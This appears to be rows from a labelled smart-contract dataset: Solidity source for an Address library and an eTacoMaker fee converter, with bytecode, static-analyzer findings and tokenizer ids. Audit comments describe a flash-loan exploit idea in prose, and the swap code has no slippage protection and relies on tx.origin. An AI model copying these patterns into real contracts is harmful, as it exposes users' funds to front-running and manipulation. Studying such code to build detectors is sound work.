target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x60806040523661001357610011610017565b005b6100115b61004a7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031661008a565b565b6001600160a01b03163b151590565b90565b60606100838383604051806060016040528060278152602001610249602791396100ae565b9392505050565b3660008037600080366000845af43d6000803e8080156100a9573d6000f35b3d6000fd5b60606001600160a01b0384163b61011b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161013691906101c9565b600060405180830381855af49150503d8060008114610171576040519150601f19603f3d011682016040523d82523d6000602084013e610176565b606091505b5091509150610186828286610190565b9695505050505050565b6060831561019f575081610083565b8251156101af5782518084602001fd5b8160405162461bcd60e51b815260040161011291906101e5565b600082516101db818460208701610218565b9190910192915050565b6020815260008251806020840152610204816040850160208701610218565b601f01601f19169190910160400192915050565b60005b8381101561023357818101518382015260200161021b565b83811115610242576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212208a39a838f78636366a2b3648a6ad05998ffafced6ba3f6293c569e9aae3bb84b64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2050, 2692, 17788, 29097, 2497, 2575, 2497, 2692, 2050, 2692, 2549, 2278, 20842, 23499, 12740, 2620, 3676, 2546, 17788, 2497, 2581, 2546, 26224, 2581, 22394, 2683, 4783, 2683, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 4769, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 5527, 14540, 4140, 1012, 14017, 1000, 1025, 3206, 14163, 16555, 10631, 14156, 2015, 1063, 1013, 1013, 14163, 16555, 10631, 14156, 2015, 27507, 16703, 4722, 5377, 3145, 1027, 1014, 2595, 21619, 2692, 2620, 2683, 2549, 27717, 2509, 3676, 2487, 2050, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,352
0x96a0486d5daEF02E74Ef577e825E3dF9Db43Ea80
pragma solidity 0.6.12; // SPDX-License-Identifier: MIT // P1 - P3: OK import "./libraries/SafeMath.sol"; import "./libraries/SafeERC20.sol"; import "./tacoswapv2/interfaces/ITacoswapV2ERC20.sol"; import "./tacoswapv2/interfaces/ITacoswapV2Pair.sol"; import "./tacoswapv2/interfaces/ITacoswapV2Factory.sol"; import "./Ownable.sol"; // eTacoMaker is eTacoChef's left hand and kinda a wizard. He can cook up eTaco from pretty much anything! // This contract handles "serving up" rewards for xeTaco holders by trading tokens collected from fees for eTaco. // T1 - T4: OK contract eTacoMaker is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // V1 - V5: OK ITacoswapV2Factory public immutable factory; // V1 - V5: OK address public immutable bar; // V1 - V5: OK address private immutable etaco; // V1 - V5: OK address private immutable weth; // V1 - V5: OK mapping(address => address) internal _bridges; // E1: OK event LogBridgeSet(address indexed token, address indexed bridge); // E1: OK event LogConvert( address indexed server, address indexed token0, address indexed token1, uint256 amount0, uint256 amount1, uint256 amountTACO ); constructor( address _factory, address _bar, address _etaco, address _weth ) public { factory = ITacoswapV2Factory(_factory); bar = _bar; etaco = _etaco; weth = _weth; } // F1 - F10: OK // C1 - C24: OK function bridgeFor(address token) public view returns (address bridge) { bridge = _bridges[token]; if (bridge == address(0)) { bridge = weth; } } // F1 - F10: OK // C1 - C24: OK function setBridge(address token, address bridge) external onlyOwner { // Checks require( token != etaco && token != weth && token != bridge, "eTacoMaker: Invalid bridge" ); // Effects _bridges[token] = bridge; emit LogBridgeSet(token, bridge); } // M1 - M5: OK // C1 - C24: OK // C6: It's not a fool proof solution, but it prevents flash loans, so here it's ok to use tx.origin modifier onlyEOA() { // Try to make flash-loan exploit harder to do by only allowing externally owned addresses. require(msg.sender == tx.origin, "eTacoMaker: must use EOA"); _; } // F1 - F10: OK // F3: _convert is separate to save gas by only checking the 'onlyEOA' modifier once in case of convertMultiple // F6: There is an exploit to add lots of eTaco to the bar, run convert, then remove the eTaco again. // As the size of the eTacoBar has grown, this requires large amounts of funds and isn't super profitable anymore // The onlyEOA modifier prevents this being done with a flash loan. // C1 - C24: OK function convert(address token0, address token1) external onlyEOA() { _convert(token0, token1); } // F1 - F10: OK, see convert // C1 - C24: OK // C3: Loop is under control of the caller function convertMultiple( address[] calldata token0, address[] calldata token1 ) external onlyEOA() { // TODO: This can be optimized a fair bit, but this is safer and simpler for now uint256 len = token0.length; for (uint256 i = 0; i < len; i++) { _convert(token0[i], token1[i]); } } // F1 - F10: OK // C1- C24: OK function _convert(address token0, address token1) internal { // Interactions // S1 - S4: OK ITacoswapV2Pair pair = ITacoswapV2Pair(factory.getPair(token0, token1)); require(address(pair) != address(0), "eTacoMaker: Invalid pair"); // balanceOf: S1 - S4: OK // transfer: X1 - X5: OK IERC20(address(pair)).safeTransfer( address(pair), pair.balanceOf(address(this)) ); // X1 - X5: OK (uint256 amount0, uint256 amount1) = pair.burn(address(this)); if (token0 != pair.token0()) { (amount0, amount1) = (amount1, amount0); } emit LogConvert( msg.sender, token0, token1, amount0, amount1, _convertStep(token0, token1, amount0, amount1) ); } // F1 - F10: OK // C1 - C24: OK // All safeTransfer, _swap, _toTACO, _convertStep: X1 - X5: OK function _convertStep( address token0, address token1, uint256 amount0, uint256 amount1 ) internal returns (uint256 etacoOut) { // Interactions if (token0 == token1) { uint256 amount = amount0.add(amount1); if (token0 == etaco) { IERC20(etaco).safeTransfer(bar, amount); etacoOut = amount; } else if (token0 == weth) { etacoOut = _toETaco(weth, amount); } else { address bridge = bridgeFor(token0); amount = _swap(token0, bridge, amount, address(this)); etacoOut = _convertStep(bridge, bridge, amount, 0); } } else if (token0 == etaco) { // eg. eTaco - ETH IERC20(etaco).safeTransfer(bar, amount0); etacoOut = _toETaco(token1, amount1).add(amount0); } else if (token1 == etaco) { // eg. USDT - eTaco IERC20(etaco).safeTransfer(bar, amount1); etacoOut = _toETaco(token0, amount0).add(amount1); } else if (token0 == weth) { // eg. ETH - USDC etacoOut = _toETaco( weth, _swap(token1, weth, amount1, address(this)).add(amount0) ); } else if (token1 == weth) { // eg. USDT - ETH etacoOut = _toETaco( weth, _swap(token0, weth, amount0, address(this)).add(amount1) ); } else { // eg. MIC - USDT address bridge0 = bridgeFor(token0); address bridge1 = bridgeFor(token1); if (bridge0 == token1) { // eg. MIC - USDT - and bridgeFor(MIC) = USDT etacoOut = _convertStep( bridge0, token1, _swap(token0, bridge0, amount0, address(this)), amount1 ); } else if (bridge1 == token0) { // eg. WBTC - DSD - and bridgeFor(DSD) = WBTC etacoOut = _convertStep( token0, bridge1, amount0, _swap(token1, bridge1, amount1, address(this)) ); } else { etacoOut = _convertStep( bridge0, bridge1, // eg. USDT - DSD - and bridgeFor(DSD) = WBTC _swap(token0, bridge0, amount0, address(this)), _swap(token1, bridge1, amount1, address(this)) ); } } } // F1 - F10: OK // C1 - C24: OK // All safeTransfer, swap: X1 - X5: OK function _swap( address fromToken, address toToken, uint256 amountIn, address to ) internal returns (uint256 amountOut) { // Checks // X1 - X5: OK ITacoswapV2Pair pair = ITacoswapV2Pair(factory.getPair(fromToken, toToken)); require(address(pair) != address(0), "eTacoMaker: Cannot convert"); // Interactions // X1 - X5: OK (uint256 reserve0, uint256 reserve1, ) = pair.getReserves(); uint256 amountInWithFee = amountIn.mul(995); if (fromToken == pair.token0()) { amountOut = amountIn.mul(995).mul(reserve1) / reserve0.mul(1000).add(amountInWithFee); IERC20(fromToken).safeTransfer(address(pair), amountIn); pair.swap(0, amountOut, to, new bytes(0)); // TODO: Add maximum slippage? } else { amountOut = amountIn.mul(995).mul(reserve0) / reserve1.mul(1000).add(amountInWithFee); IERC20(fromToken).safeTransfer(address(pair), amountIn); pair.swap(amountOut, 0, to, new bytes(0)); // TODO: Add maximum slippage? } } // F1 - F10: OK // C1 - C24: OK function _toETaco(address token, uint256 amountIn) internal returns (uint256 amountOut) { // X1 - X5: OK amountOut = _swap(token, etaco, amountIn, bar); } } pragma solidity 0.6.12; // SPDX-License-Identifier: MIT // a library for performing overflow-safe math, updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) {require((c = a + b) >= b, "SafeMath: Add Overflow");} function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {require((c = a - b) <= a, "SafeMath: Underflow");} function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {require(b == 0 || (c = a * b)/b == a, "SafeMath: Mul Overflow");} function to128(uint256 a) internal pure returns (uint128 c) { require(a <= uint128(-1), "SafeMath: uint128 Overflow"); c = uint128(a); } } library SafeMath128 { function add(uint128 a, uint128 b) internal pure returns (uint128 c) {require((c = a + b) >= b, "SafeMath: Add Overflow");} function sub(uint128 a, uint128 b) internal pure returns (uint128 c) {require((c = a - b) <= a, "SafeMath: Underflow");} } pragma solidity 0.6.12; // SPDX-License-Identifier: MIT import "../interfaces/IERC20.sol"; library SafeERC20 { function safeSymbol(IERC20 token) internal view returns(string memory) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x95d89b41)); return success && data.length > 0 ? abi.decode(data, (string)) : "???"; } function safeName(IERC20 token) internal view returns(string memory) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x06fdde03)); return success && data.length > 0 ? abi.decode(data, (string)) : "???"; } function safeDecimals(IERC20 token) public view returns (uint8) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x313ce567)); return success && data.length == 32 ? abi.decode(data, (uint8)) : 18; } function safeTransfer(IERC20 token, address to, uint256 amount) internal { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(0xa9059cbb, to, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "SafeERC20: Transfer failed"); } function safeTransferFrom(IERC20 token, address from, uint256 amount) internal { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(0x23b872dd, from, address(this), amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "SafeERC20: TransferFrom failed"); } } pragma solidity >=0.5.0; // SPDX-License-Identifier: GPL-3.0 interface ITacoswapV2ERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } pragma solidity >=0.5.0; // SPDX-License-Identifier: GPL-3.0 interface ITacoswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } pragma solidity >=0.5.0; // SPDX-License-Identifier: GPL-3.0 interface ITacoswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function migrator() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; function setMigrator(address) external; } pragma solidity 0.6.12; // SPDX-License-Identifier: MIT // Audit on 5-Jan-2021 by Keno and BoringCrypto // P1 - P3: OK // Source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol + Claimable.sol // Edited by BoringCrypto // T1 - T4: OK contract OwnableData { // V1 - V5: OK address public owner; // V1 - V5: OK address public pendingOwner; } // T1 - T4: OK contract Ownable is OwnableData { // E1: OK event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } // F1 - F9: OK // C1 - C21: OK function transferOwnership(address newOwner, bool direct, bool renounce) public onlyOwner { if (direct) { // Checks require(newOwner != address(0) || renounce, "Ownable: zero address"); // Effects emit OwnershipTransferred(owner, newOwner); owner = newOwner; } else { // Effects pendingOwner = newOwner; } } // F1 - F9: OK // C1 - C21: OK function claimOwnership() public { address _pendingOwner = pendingOwner; // Checks require(msg.sender == _pendingOwner, "Ownable: caller != pending owner"); // Effects emit OwnershipTransferred(owner, _pendingOwner); owner = _pendingOwner; pendingOwner = address(0); } // M1 - M5: OK // C1 - C21: OK modifier onlyOwner() { require(msg.sender == owner, "Ownable: caller is not the owner"); _; } } pragma solidity 0.6.12; // SPDX-License-Identifier: MIT interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function mint(address _to, uint256 _amount) external; // EIP 2612 function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; }
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c8063a761a93911610066578063a761a939146101f7578063bd1b820c1461021d578063c45a01551461024b578063e30c397814610253578063febb0f7e1461025b5761009e565b8063078dfbe7146100a3578063303e6aa4146100db5780634e71e0c81461019d5780638da5cb5b146101a55780639d22ae8c146101c9575b600080fd5b6100d9600480360360608110156100b957600080fd5b506001600160a01b03813516906020810135151590604001351515610263565b005b6100d9600480360360408110156100f157600080fd5b81019060208101813564010000000081111561010c57600080fd5b82018360208201111561011e57600080fd5b8035906020019184602083028401116401000000008311171561014057600080fd5b91939092909160208101903564010000000081111561015e57600080fd5b82018360208201111561017057600080fd5b8035906020019184602083028401116401000000008311171561019257600080fd5b50909250905061039f565b6100d961044a565b6101ad61050c565b604080516001600160a01b039092168252519081900360200190f35b6100d9600480360360408110156101df57600080fd5b506001600160a01b038135811691602001351661051b565b6101ad6004803603602081101561020d57600080fd5b50356001600160a01b03166106b4565b6100d96004803603604081101561023357600080fd5b506001600160a01b03813581169160200135166106fc565b6101ad610759565b6101ad61077d565b6101ad61078c565b6000546001600160a01b031633146102c2576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b811561037e576001600160a01b0383161515806102dc5750805b610325576040805162461bcd60e51b81526020600482015260156024820152744f776e61626c653a207a65726f206164647265737360581b604482015290519081900360640190fd5b600080546040516001600160a01b03808716939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b03851617905561039a565b600180546001600160a01b0319166001600160a01b0385161790555b505050565b3332146103ee576040805162461bcd60e51b8152602060048201526018602482015277655461636f4d616b65723a206d7573742075736520454f4160401b604482015290519081900360640190fd5b8260005b818110156104425761043a86868381811061040957fe5b905060200201356001600160a01b031685858481811061042557fe5b905060200201356001600160a01b03166107b0565b6001016103f2565b505050505050565b6001546001600160a01b03163381146104aa576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c657220213d2070656e64696e67206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b039092166001600160a01b0319928316179055600180549091169055565b6000546001600160a01b031681565b6000546001600160a01b0316331461057a576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b7f000000000000000000000000fbbd3865ec81fcd1105219a51f0684cd288eca426001600160a01b0316826001600160a01b0316141580156105ee57507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316826001600160a01b031614155b801561060c5750806001600160a01b0316826001600160a01b031614155b61065d576040805162461bcd60e51b815260206004820152601a60248201527f655461636f4d616b65723a20496e76616c696420627269646765000000000000604482015290519081900360640190fd5b6001600160a01b0382811660008181526002602052604080822080546001600160a01b0319169486169485179055517f2e103aa707acc565f9a1547341914802b2bfe977fd79c595209f248ae4b006139190a35050565b6001600160a01b0380821660009081526002602052604090205416806106f757507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc25b919050565b33321461074b576040805162461bcd60e51b8152602060048201526018602482015277655461636f4d616b65723a206d7573742075736520454f4160401b604482015290519081900360640190fd5b61075582826107b0565b5050565b7f00000000000000000000000088461adda3e00698eef255395e692ec89cde501481565b6001546001600160a01b031681565b7f000000000000000000000000fda844d2b2c43f0486c1fc42c15164583bf7422981565b60007f00000000000000000000000088461adda3e00698eef255395e692ec89cde50146001600160a01b031663e6a4390584846040518363ffffffff1660e01b815260040180836001600160a01b03168152602001826001600160a01b031681526020019250505060206040518083038186803b15801561083057600080fd5b505afa158015610844573d6000803e3d6000fd5b505050506040513d602081101561085a57600080fd5b505190506001600160a01b0381166108b9576040805162461bcd60e51b815260206004820152601860248201527f655461636f4d616b65723a20496e76616c696420706169720000000000000000604482015290519081900360640190fd5b61094781826001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d602081101561093457600080fd5b50516001600160a01b0384169190610aae565b600080826001600160a01b03166389afcb44306040518263ffffffff1660e01b815260040180826001600160a01b031681526020019150506040805180830381600087803b15801561099857600080fd5b505af11580156109ac573d6000803e3d6000fd5b505050506040513d60408110156109c257600080fd5b50805160209182015160408051630dfe168160e01b815290519295509093506001600160a01b03861692630dfe168192600480840193829003018186803b158015610a0c57600080fd5b505afa158015610a20573d6000803e3d6000fd5b505050506040513d6020811015610a3657600080fd5b50516001600160a01b03868116911614610a4c57905b6001600160a01b03808516908616337fd06b1d7ed79b664d17472c6f6997b929f1abe463ccccb4e5b6a0038f2f730c158585610a8a8b8b8484610c18565b60408051938452602084019290925282820152519081900360600190a45050505050565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b178152925182516000946060949389169392918291908083835b60208310610b2b5780518252601f199092019160209182019101610b0c565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610b8d576040519150601f19603f3d011682016040523d82523d6000602084013e610b92565b606091505b5091509150818015610bc0575080511580610bc05750808060200190516020811015610bbd57600080fd5b50515b610c11576040805162461bcd60e51b815260206004820152601a60248201527f5361666545524332303a205472616e73666572206661696c6564000000000000604482015290519081900360640190fd5b5050505050565b6000836001600160a01b0316856001600160a01b03161415610d75576000610c408484611089565b90507f000000000000000000000000fbbd3865ec81fcd1105219a51f0684cd288eca426001600160a01b0316866001600160a01b03161415610cd857610cd06001600160a01b037f000000000000000000000000fbbd3865ec81fcd1105219a51f0684cd288eca42167f000000000000000000000000fda844d2b2c43f0486c1fc42c15164583bf7422983610aae565b809150610d6f565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316866001600160a01b03161415610d4357610d3c7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2826110e0565b9150610d6f565b6000610d4e876106b4565b9050610d5c87828430611135565b9150610d6b8182846000610c18565b9250505b50611081565b7f000000000000000000000000fbbd3865ec81fcd1105219a51f0684cd288eca426001600160a01b0316856001600160a01b03161415610e1e57610e036001600160a01b037f000000000000000000000000fbbd3865ec81fcd1105219a51f0684cd288eca42167f000000000000000000000000fda844d2b2c43f0486c1fc42c15164583bf7422985610aae565b610e1783610e1186856110e0565b90611089565b9050611081565b7f000000000000000000000000fbbd3865ec81fcd1105219a51f0684cd288eca426001600160a01b0316846001600160a01b03161415610eba57610eac6001600160a01b037f000000000000000000000000fbbd3865ec81fcd1105219a51f0684cd288eca42167f000000000000000000000000fda844d2b2c43f0486c1fc42c15164583bf7422984610aae565b610e1782610e1187866110e0565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316856001600160a01b03161415610f4d57610e177f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2610f4885610e11887f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28830611135565b6110e0565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316846001600160a01b03161415610fdb57610e177f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2610f4884610e11897f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28930611135565b6000610fe6866106b4565b90506000610ff3866106b4565b9050856001600160a01b0316826001600160a01b0316141561102d5761102682876110208a868a30611135565b87610c18565b925061107e565b866001600160a01b0316816001600160a01b0316141561105e576110268782876110598a868a30611135565b610c18565b61107b828261106f8a868a30611135565b6110598a868a30611135565b92505b50505b949350505050565b818101818110156110da576040805162461bcd60e51b8152602060048201526016602482015275536166654d6174683a20416464204f766572666c6f7760501b604482015290519081900360640190fd5b92915050565b600061112e837f000000000000000000000000fbbd3865ec81fcd1105219a51f0684cd288eca42847f000000000000000000000000fda844d2b2c43f0486c1fc42c15164583bf74229611135565b9392505050565b6000807f00000000000000000000000088461adda3e00698eef255395e692ec89cde50146001600160a01b031663e6a4390587876040518363ffffffff1660e01b815260040180836001600160a01b03168152602001826001600160a01b031681526020019250505060206040518083038186803b1580156111b657600080fd5b505afa1580156111ca573d6000803e3d6000fd5b505050506040513d60208110156111e057600080fd5b505190506001600160a01b03811661123f576040805162461bcd60e51b815260206004820152601a60248201527f655461636f4d616b65723a2043616e6e6f7420636f6e76657274000000000000604482015290519081900360640190fd5b600080826001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561127b57600080fd5b505afa15801561128f573d6000803e3d6000fd5b505050506040513d60608110156112a557600080fd5b5080516020909101516dffffffffffffffffffffffffffff918216935016905060006112d3876103e36115b4565b9050836001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561130e57600080fd5b505afa158015611322573d6000803e3d6000fd5b505050506040513d602081101561133857600080fd5b50516001600160a01b038a81169116141561147f5761135d81610e11856103e86115b4565b6113738361136d8a6103e36115b4565b906115b4565b8161137a57fe5b0494506113916001600160a01b038a168589610aae565b604080516000808252602082019283905263022c0d9f60e01b835260248201818152604483018990526001600160a01b038a81166064850152608060848501908152845160a48601819052918a169563022c0d9f958c948e9491939092909160c4850191908083838b5b838110156114135781810151838201526020016113fb565b50505050905090810190601f1680156114405780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561146257600080fd5b505af1158015611476573d6000803e3d6000fd5b505050506115a8565b61148f81610e11846103e86115b4565b61149f8461136d8a6103e36115b4565b816114a657fe5b0494506114bd6001600160a01b038a168589610aae565b604080516000808252602082019283905263022c0d9f60e01b835260248201888152604483018290526001600160a01b038a81166064850152608060848501908152845160a48601819052918a169563022c0d9f958c95948e9491939092909160c4850191908083838a5b83811015611540578181015183820152602001611528565b50505050905090810190601f16801561156d5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561158f57600080fd5b505af11580156115a3573d6000803e3d6000fd5b505050505b50505050949350505050565b60008115806115cf575050808202828282816115cc57fe5b04145b6110da576040805162461bcd60e51b8152602060048201526016602482015275536166654d6174683a204d756c204f766572666c6f7760501b604482015290519081900360640190fdfea264697066735822122009b8ec05b5eb1cb54399d724adec0ed3ded3649bfff4b6bb0715f9254e3a414564736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2050, 2692, 18139, 2575, 2094, 2629, 6858, 2546, 2692, 2475, 2063, 2581, 2549, 12879, 28311, 2581, 2063, 2620, 17788, 2063, 29097, 2546, 2683, 18939, 23777, 5243, 17914, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 2260, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 1052, 2487, 1011, 1052, 2509, 1024, 7929, 12324, 1000, 1012, 1013, 8860, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 8860, 1013, 3647, 2121, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 11937, 13186, 4213, 2361, 2615, 2475, 1013, 19706, 1013, 2009, 22684, 26760, 9331, 2615, 2475, 2121, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 11937, 13186, 4213, 2361, 2615, 2475, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,353
0x96a083ea306e3e9f357aa4a0d9b0226b1111289c
